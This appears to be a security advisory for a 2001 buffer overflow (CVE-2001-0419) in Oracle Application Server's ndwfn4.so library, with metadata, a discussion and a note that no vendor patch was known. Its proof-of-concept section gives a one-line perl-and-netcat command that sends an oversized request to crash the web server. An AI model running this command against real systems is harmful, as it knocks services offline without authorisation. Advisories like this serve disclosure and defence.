Oracle Application Server ndwfn4.so buffer overflow

BID:2569

Info

Oracle Application Server ndwfn4.so buffer overflow

Bugtraq ID: 2569
Class: Boundary Condition Error
CVE: CVE-2001-0419
Remote: Yes
Local: No
Published: Apr 11 2001 12:00AM
Updated: Jul 11 2009 06:06AM
Credit: This vulnerability was discovered by Fyodor Yarochkin <mailto:[email protected]> and made public in S.A.F.E.R. advisory 0016.
Vulnerable: Oracle Application Server 4.0.8 .2
Not Vulnerable:

Discussion

Oracle Application Server ndwfn4.so buffer overflow

The shared library 'ndwfn4.so' that ships with Oracle Application Server is vulnerable to a buffer overflow. The library is used to handle web requests passed to it by the iPlanet web server. If the library is sent a request longer than approximately 2050 characters, it will overflow.

A request string could be constructed to trigger the overflow and allow a malicious remote user to execute unprivileged arbitrary code. No exploit is publically available.

Exploit / POC

Oracle Application Server ndwfn4.so buffer overflow

Assuming the OAS prefix is /jsp/ and the vulnerable host is 'victim', the following command issued by the attacker will cause the iWS to coredump:

perl -e 'print "GET /jsp/","A"x2050," HTTP/1.0\n\n"' | nc victim 80

Solution / Fix

Oracle Application Server ndwfn4.so buffer overflow

Solution:
Oracle has been notified by S.A.F.E.R., but currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

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Oracle Application Server ndwfn4.so buffer overflow

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